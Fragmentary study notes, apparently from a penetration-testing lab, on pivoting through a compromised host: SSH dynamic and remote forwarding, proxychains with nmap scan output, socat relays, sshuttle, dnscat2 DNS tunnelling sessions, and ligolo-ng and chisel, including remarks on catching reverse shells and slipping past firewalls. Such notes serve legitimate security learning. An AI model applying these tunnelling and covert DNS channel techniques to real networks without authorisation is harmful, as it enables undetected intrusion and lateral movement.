IPADDRESS:PORT:IPADDRESS:PORT first socket was the set the listen socket as the ssh client, second socket was the target that we will forward data
-v if there was error,use -v to debug
ssh dynamic port forward
forward dynamic port
1
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215
-D set dynamic port forward.set we want to bind socket.ip:port
and we need change proxychains file
1 2 3 4 5 6 7 8 9 10
tail /etc/proxychains4.conf # proxy types: http, socks4, socks5, raw # * raw: The traffic is simply forwarded to the proxy without modification. # ( auth types supported: "basic"-http "user/pass"-socks ) # [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks5 192.168.50.63 9999#the ip that start dynamic port forward
we can excute nmap scan. nmap scan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
proxychains nmap -vvv -sT -p 4800-4900 -Pn 172.16.226.217 -n [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-23 12:23 CST Initiating Connect Scan at 12:23 Scanning 172.16.226.217 [101 ports] [proxychains] Strict chain ... 192.168.226.63:9999 ... 172.16.226.217:4858 <--socket error or timeout! [proxychains] Strict chain ... 192.168.226.63:9999 ... 172.16.226.217:4897 <--socket error or timeout! adjust_timeouts2: packet supposedly had rtt of 15589634 microseconds. Ignoring time. adjust_timeouts2: packet supposedly had rtt of 15589634 microseconds. Ignoring time. Connect Scan Timing: About 1.98% done; ETC: 12:49 (0:25:35 remaining) [proxychains] Strict chain ... 192.168.226.63:9999 ... 172.16.226.217:4849 <--socket error or timeout! adjust_timeouts2: packet supposedly had rtt of 15671333 microseconds. Ignoring time. adjust_timeouts2: packet supposedly had rtt of 15671333 microseconds. Ignoring time.
-vvv verbose output
-n forbid dns analyze(important)
-Pn forbid host discovery(important)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
sudo proxychains nmap -vvv -sS -p 4872 172.16.226.217 -n -Pn [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-23 12:40 CST Initiating SYN Stealth Scan at 12:40 Scanning 172.16.226.217 [1 port] Completed SYN Stealth Scan at 12:40, 2.02s elapsed (1 total ports) Nmap scan report for 172.16.226.217 Host is up, received user-set. Scanned at 2024-01-23 12:40:42 CST for 2s
PORT STATE SERVICE REASON 4872/tcp filtered unknown no-response
Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 2.09 seconds Raw packets sent: 2 (88B) | Rcvd: 0 (0B)
if u cant connect the host directly,-Pn and -n was necessary SYN scan sometime will have some defect. it’s better to spend more time to excute TCP scan
just always remember that when you use a SOCK5 proxy, ping and stealth scans will NEVER go through the tunnel. It is just how it works. You’ll need to do full TCP scans with nmap to get results. SOCKS doens’t support ping/UDP in most methods but there are strange edge cases but typically there is no protocol support for it
ssh remote port forward
if the firewalld stop any local port listen,we could use remote port forward
sshuttle like a VPN,it need the root of ssh client,python3 of ssh server if we connect to a machine by ssh. we are ssh client,he was the ssh server the machine need to start port forward
1
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
and we strat a ssh tunnel by sshuttle to the target subnet
kali@felineauthority:~$ dnscat2-server feline.corp [sudo] password for kali:
New window created: 0 New window created: crypto-debug Welcome to dnscat2! Some documentation may be out of date.
auto_attach => false history_size (for new windows) => 1000 Security policy changed: All connections must be encrypted New window created: dns1 Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = feline.corp]...
Assuming you have an authoritative DNS server, you can run the client anywhere with the following (--secret is optional):
Of course, you have to figure out <server> yourself! Clients will connect directly on UDP port 53.
dnscat2> New window created: 1 Session 1 security: ENCRYPTED BUT *NOT* VALIDATED For added security, please ensure the client displays the same string:
>> Annoy Mona Spiced Outran Stump Visas
dnscat2>
client
1 2 3 4 5 6 7 8 9 10 11 12 13
database_admin@pgdatabase01:~/dnscat$ ./dnscat feline.corp Creating DNS driver: domain = feline.corp host = 0.0.0.0 port = 53 type = TXT,CNAME,MX server = 127.0.0.53
Encrypted session established! For added security, please verify the server also displays this string:
Annoy Mona Spiced Outran Stump Visas
Session established!
dnscat
1 2 3 4 5 6
#list all active windows windows #user windows 1 window -i 1 #listen like ssh local listen listen 127.0.0.1:4455 172.16.2.11:445
local socketremote socket i think use local ip not loop ip will better
recommended tools
ligolo-ng
It’s convenient when pivot network and excute nmap scan.And it could receive reverse shell and download file by webserver from kali. first init:
!!!important!!! the client and server version should be the same it cant listen reverse shell in innet network!!!
Because of his niche, he is sometimes not discovered or blocked by firewalls etc. but it spend more time when excute nmap scan,cause socks proxy just support TCP scan.and chisel cant receive reverse shell.
then use proxy to excute command to communicate with innet network
port forward
revserse mode: share remote:port from client to server’s local:port strict mode: share remote:port from server to client’s local:port Backward joins are more common than forward joins. Because the firewall will prevent us from actively connecting to the target server: